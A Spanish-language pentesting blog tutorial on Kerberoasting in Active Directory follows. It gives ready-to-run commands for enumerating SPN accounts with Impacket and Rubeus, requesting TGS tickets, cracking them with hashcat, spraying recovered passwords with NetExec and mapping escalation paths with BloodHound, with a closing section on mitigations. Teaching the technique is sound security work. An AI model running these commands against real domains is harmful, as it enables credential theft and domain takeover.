Buscar en BreakSecure

Contenido recomendado

Portada de Kerberoasting: cómo identificarlo y explotarlo en Active Directory

Kerberoasting: cómo identificarlo y explotarlo en Active Directory

Aprende qué necesitas para realizar Kerberoasting, cómo encontrar cuentas con SPN, solicitar tickets TGS, crackearlos offline y qué hacer después de obtener una cuenta de servicio.

Por Pedro Vargas · · 7 min de lectura

  • Active Directory
  • Kerberos
  • Kerberoasting
  • SPN
  • Tgs
  • Service Account
  • Impacket
  • Getuserspns
  • Netexec
  • Rubeus
En esta página

Kerberoasting: cómo identificarlo y explotarlo en Active Directory

Kerberoasting es una de las técnicas más conocidas durante un pentest de Active Directory.

La idea es bastante sencilla:

Encontrar una cuenta de servicio con SPN
        ↓
Solicitar su ticket Kerberos
        ↓
Extraer información crackeable
        ↓
Atacar la contraseña offline
        ↓
Obtener las credenciales de la cuenta

Lo interesante es que para realizar el ataque normalmente no necesitamos privilegios administrativos.

En muchos entornos basta con tener acceso a cualquier usuario válido del dominio.

Por ejemplo:

BREAKSECURE\pedro
Password123!

A partir de ahí podemos buscar cuentas de servicio susceptibles a Kerberoasting.

Realiza estas pruebas únicamente en laboratorios, sistemas propios o infraestructuras donde tengas autorización.


¿Qué estamos intentando conseguir?

Nuestro objetivo no es atacar directamente al Domain Controller.

Queremos encontrar cuentas de Active Directory que tengan registrado un:

SPN

o:

Service Principal Name

Por ejemplo:

MSSQLSvc/sql01.breaksecure.local:1433

Este SPN podría estar asociado a una cuenta como:

sql_svc

Kerberos necesita permitir que los usuarios del dominio soliciten tickets para acceder a ese servicio.

Ahí aparece nuestra oportunidad.

Solicitamos legítimamente el ticket y posteriormente intentamos recuperar offline la contraseña de sql_svc.


¿Qué necesitamos para hacer Kerberoasting?

Antes de empezar, necesitamos cumplir unas pocas condiciones.

1. Acceso al dominio

Normalmente necesitamos unas credenciales válidas de Active Directory.

Por ejemplo:

usuario: pedro
contraseña: Password123!
dominio: breaksecure.local

No tiene que ser administrador.

Un usuario estándar suele ser suficiente.


2. Una cuenta con SPN

Debe existir alguna cuenta asociada a un servicio Kerberos.

Ejemplos comunes:

sql_svc
web_svc
backup_svc
svc_mssql
svc_sharepoint

No significa que cualquier cuenta con SPN sea automáticamente vulnerable.

El objetivo real es encontrar:

SPN
+
Cuenta de usuario
+
Contraseña débil

3. Poder comunicarnos con el Domain Controller

Necesitaremos normalmente alcanzar servicios como:

53   DNS
88   Kerberos
389  LDAP
445  SMB

Podemos comenzar identificando el Domain Controller con Nmap.

nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.10

Si encontramos varios de estos servicios juntos, probablemente estamos delante de un Domain Controller.


Paso 1 — Identificar el dominio

Supongamos que tenemos:

IP del DC:
10.10.10.10

Dominio:
breaksecure.local

Credenciales:
pedro:Password123!

Podemos verificar las credenciales utilizando NetExec:

nxc smb 10.10.10.10 -u 'pedro' -p 'Password123!' -d breaksecure.local

Si la autenticación funciona correctamente podemos continuar.


Paso 2 — Buscar cuentas con SPN

Aquí comienza realmente la enumeración de Kerberoasting.

Una de las herramientas más utilizadas es:

GetUserSPNs.py

del proyecto Impacket.

Podemos ejecutar:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10

Podríamos obtener algo parecido a:

ServicePrincipalName                       Name
-----------------------------------------  ---------
MSSQLSvc/sql01.breaksecure.local:1433      sql_svc
HTTP/web01.breaksecure.local               web_svc

Perfecto.

Ahora sabemos que existen al menos dos cuentas asociadas a servicios Kerberos:

sql_svc
web_svc

¿Qué es exactamente un SPN?

Un SPN identifica un servicio que puede utilizar autenticación Kerberos.

Por ejemplo:

MSSQLSvc/sql01.breaksecure.local:1433

Podemos separarlo como:

MSSQLSvc
   ↓
Servicio

sql01.breaksecure.local
   ↓
Servidor

1433
   ↓
Puerto

Y detrás existe una cuenta de Active Directory encargada de ejecutar ese servicio.

Por ejemplo:

sql_svc

Esto es importante porque Kerberos necesita saber con qué identidad está asociado el servicio para generar correctamente el ticket.


Paso 3 — Solicitar los TGS

Una vez localizamos cuentas interesantes podemos solicitar sus tickets.

Con Impacket:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request

La salida incluirá algo parecido a:

$krb5tgs$23$*sql_svc$BREAKSECURE.LOCAL$breaksecure.local/sql_svc*$...

Ese resultado podemos guardarlo para crackearlo posteriormente.

Una forma cómoda es utilizar directamente:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

Ahora tendremos:

kerberoast.txt

con los tickets recuperados.

¿Qué acaba de ocurrir?

Esta parte es importante para entender el ataque.

Nuestro usuario:

pedro

no conoce la contraseña de:

sql_svc

Pero puede pedirle al Domain Controller:

Quiero utilizar el servicio MSSQL

Kerberos responde entregando un:

TGS

o ticket de servicio.

Parte de ese ticket está protegida utilizando una clave derivada de la contraseña de la cuenta del servicio.

Eso nos permite llevarnos el ticket e intentar probar contraseñas contra él.


Paso 4 — Crackear el ticket offline

Ahora viene una de las mayores ventajas de Kerberoasting.

Ya no necesitamos comunicarnos con el Domain Controller.

Podemos atacar el ticket completamente desde nuestra máquina.

Supongamos que tenemos:

kerberoast.txt

Podemos utilizar Hashcat.

Para tickets Kerberos TGS utilizando RC4 es habitual utilizar:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Si la contraseña se encuentra dentro del diccionario podríamos recuperar algo como:

sql_svc:SQLServer2026!

¿Por qué el cracking offline es tan importante?

Porque no estamos haciendo esto:

Login → Password1
Login → Password2
Login → Password3
Login → Password4

contra Active Directory.

Eso podría provocar:

Account Lockout
Logs
Alertas
Rate Limiting

En Kerberoasting el flujo es diferente:

Domain Controller
        ↓
Solicitamos TGS
        ↓
Obtenemos ticket
        ↓
Nos vamos offline
        ↓
Hashcat
        ↓
Miles o millones de intentos

El Domain Controller no participa en esos intentos.

Utilizar reglas de Hashcat

Una wordlist básica puede no ser suficiente.

Podemos utilizar reglas para generar variaciones.

Por ejemplo:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Esto permite probar modificaciones como:

Password
Password1
Password123
Password!
PASSWORD
password2026

sin tener que almacenarlas todas previamente en la wordlist.

¿Y si no sale con rockyou?

No significa que Kerberoasting haya fallado.

Significa simplemente que todavía no hemos encontrado la contraseña.

Podemos probar:

Wordlists personalizadas
Reglas
Masks
Información de la empresa
Patrones de contraseñas
Temporadas
Años
Nombres internos

Por ejemplo, si sospechamos de un patrón:

Empresa2026!
Empresa2025!
Empresa2024!

una estrategia basada en reglas o máscaras puede ser mucho más efectiva que lanzar únicamente RockYou.

También podemos hacerlo desde Windows con Rubeus

Si ya tenemos acceso a una máquina Windows dentro del dominio podemos utilizar:

Rubeus

para buscar y solicitar tickets Kerberoasteables.

Por ejemplo:

Rubeus.exe kerberoast

Rubeus buscará cuentas con SPN y solicitará los tickets correspondientes.

También podemos guardar los resultados para crackearlos posteriormente.

Esto es especialmente útil cuando estamos trabajando directamente desde una sesión comprometida de Windows.

Enumeración alternativa con NetExec

Durante pentesting también podemos utilizar NetExec para realizar enumeración relacionada con Kerberos y Active Directory.

La idea general sigue siendo la misma:

Encontrar usuarios
        ↓
Identificar cuentas interesantes
        ↓
Buscar SPN
        ↓
Solicitar tickets

No deberíamos depender de una única herramienta.

Si Impacket falla, podemos recurrir a:

Rubeus
PowerView
LDAP
BloodHound
NetExec

¿Cómo sé si realmente es explotable?

Encontrar un SPN no significa:

Vulnerabilidad confirmada

Significa:

Cuenta potencialmente Kerberoasteable

La verdadera condición práctica depende de si conseguimos recuperar su contraseña.

Podemos pensar en tres niveles.

Nivel 1 — Existe SPN

sql_svc → MSSQLSvc

Podemos solicitar el ticket.

Nivel 2 — Obtenemos el TGS

$krb5tgs$...

Tenemos material para cracking offline.

Nivel 3 — Recuperamos contraseña

sql_svc:SQLServer2026!

Aquí sí hemos comprometido realmente la cuenta.


Paso 5 — Ya tengo la contraseña, ¿ahora qué?

Aquí es donde muchos tutoriales terminan demasiado pronto.

Obtener:

sql_svc:SQLServer2026!

no significa que hayamos terminado.

En realidad acaba de empezar una nueva fase de enumeración.

Tenemos una identidad nueva dentro del dominio.

La pregunta ahora es:

¿Qué puede hacer esta cuenta?

Probar credenciales con NetExec

Podemos comenzar comprobando SMB:

nxc smb 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Después podemos probar otros servicios.

WinRM:

nxc winrm 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

MSSQL:

nxc mssql 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

LDAP:

nxc ldap 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Buscar password reuse

Una contraseña obtenida mediante Kerberoasting puede haber sido reutilizada.

Por ejemplo:

nxc smb 10.10.10.10 -u users.txt -p 'SQLServer2026!' -d breaksecure.local --continue-on-success

Podríamos descubrir:

sql_svc       SQLServer2026!
backup_admin  SQLServer2026!

Ahora tenemos otro usuario potencialmente mucho más interesante.

Por eso el credential reuse debería revisarse siempre.

Enumerar privilegios con BloodHound

Una de las mejores cosas que podemos hacer después de obtener una nueva cuenta es ejecutar BloodHound nuevamente.

Por ejemplo:

bloodhound-python -u sql_svc -p 'SQLServer2026!' -d breaksecure.local -ns 10.10.10.10 -c All

Después revisamos relaciones como:

GenericAll
GenericWrite
WriteDACL
WriteOwner
ForceChangePassword
AddMember
AllowedToDelegate
AdminTo
CanPSRemote
DCSync

Una cuenta de servicio aparentemente poco interesante puede tener una ruta directa hacia un usuario privilegiado.

Buscar acceso local administrativo

Podemos revisar si la cuenta tiene privilegios sobre alguna máquina:

nxc smb 10.10.10.0/24 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Si aparece:

Pwn3d!

significa que la cuenta tiene permisos administrativos en ese sistema.

Eso podría permitir continuar con movimiento lateral.

Buscar acceso a MSSQL

Si estamos atacando precisamente una cuenta llamada:

sql_svc

es bastante razonable comprobar SQL Server.

Por ejemplo:

impacket-mssqlclient breaksecure.local/sql_svc:'SQLServer2026!'@sql01.breaksecure.local

Una vez dentro tendremos que comprobar:

Roles
Bases de datos
Impersonation
Linked Servers
xp_cmdshell
Credenciales
Archivos

Una cuenta de servicio puede tener muchos más privilegios dentro de su aplicación que dentro de Active Directory.

Revisar grupos

También debemos comprobar sus grupos.

Con NetExec o LDAP podemos determinar si pertenece a algo interesante como:

Server Operators
Backup Operators
Remote Management Users
Administrators
SQL Admins
IT Admins

Una cuenta comprometida adquiere importancia en función de sus permisos.

Buscar ACL peligrosas

Supongamos que BloodHound muestra:

sql_svc
   ↓
WriteOwner
   ↓
backup_svc

Entonces Kerberoasting simplemente ha sido nuestro punto de entrada hacia otra cadena:

Kerberoasting
     ↓
sql_svc
     ↓
WriteOwner
     ↓
backup_svc
     ↓
Privilege Escalation

Este tipo de cadenas son extremadamente comunes en laboratorios de Active Directory.

Kerberoasting no siempre termina en Domain Admin

Algo importante:

Kerberoasting exitoso ≠ Domain Admin

Podríamos obtener una cuenta sin privilegios relevantes.

Por ejemplo:

web_svc

puede que únicamente tenga permisos para ejecutar un sitio web.

En ese caso hemos conseguido una credencial, pero todavía necesitamos buscar cómo aprovecharla.

Por eso el proceso correcto es:

Credenciales
     ↓
Reenumerar
     ↓
Identificar permisos
     ↓
Encontrar nueva ruta

Flujo completo del ataque

Podemos resumir Kerberoasting así:

Credencial válida de dominio
          ↓
Enumerar Active Directory
          ↓
Buscar cuentas con SPN
          ↓
Solicitar TGS
          ↓
Guardar $krb5tgs$
          ↓
Cracking offline
          ↓
¿Contraseña encontrada?
     ↙              ↘
   NO                SÍ
   ↓                  ↓
Mejorar          Nueva cuenta
ataque                ↓
                 Password reuse
                      ↓
                  BloodHound
                      ↓
               Acceso a servicios
                      ↓
              Privilege Escalation

Checklist rápido de Kerberoasting

Requisitos

[ ] Tengo credenciales válidas del dominio
[ ] Identifiqué el Domain Controller
[ ] Conozco el dominio
[ ] Tengo conectividad Kerberos/LDAP

Enumeración

[ ] Busqué cuentas con SPN
[ ] Identifiqué cuentas de servicio
[ ] Revisé qué servicio ejecuta cada cuenta

Explotación

[ ] Solicité los TGS
[ ] Guardé los tickets
[ ] Identifiqué el tipo de hash
[ ] Ejecuté cracking offline

Después del cracking

[ ] Validé las credenciales
[ ] Probé password reuse
[ ] Revisé SMB
[ ] Revisé WinRM
[ ] Revisé MSSQL
[ ] Ejecuté BloodHound nuevamente
[ ] Revisé grupos
[ ] Revisé ACL
[ ] Busqué movimiento lateral

Comandos rápidos

Enumerar SPN

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10

Solicitar tickets

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

Crackear RC4 TGS

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Hashcat con reglas

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Rubeus

Rubeus.exe kerberoast

Validar credenciales

nxc smb 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Password reuse

nxc smb 10.10.10.10 -u users.txt -p 'SQLServer2026!' -d breaksecure.local --continue-on-success

BloodHound

bloodhound-python -u sql_svc -p 'SQLServer2026!' -d breaksecure.local -ns 10.10.10.10 -c All

¿Cómo mitigar Kerberoasting?

Desde defensa hay varias medidas importantes.

Utilizar contraseñas largas

Una cuenta con SPN no es necesariamente un problema.

El verdadero problema aparece cuando tiene una contraseña como:

Empresa2026!

Las cuentas de servicio tradicionales deberían utilizar contraseñas largas, aleatorias y difíciles de crackear offline.

Utilizar gMSA

Siempre que sea posible podemos reemplazar cuentas de servicio tradicionales por:

Group Managed Service Accounts

o:

gMSA

Active Directory puede administrar automáticamente contraseñas complejas y rotarlas periódicamente.

Evitar privilegios innecesarios

Una cuenta como:

sql_svc

no debería pertenecer sin motivo a:

Domain Admins
Administrators
Backup Operators

Ni disponer de ACL peligrosas sobre otras cuentas.

Eliminar SPN innecesarios

También debemos revisar periódicamente:

¿Qué cuentas tienen SPN?
¿El servicio todavía existe?
¿La cuenta sigue siendo necesaria?
¿Qué permisos posee?
¿Cuándo cambió su contraseña?

Las cuentas antiguas de servicio suelen ser objetivos especialmente atractivos.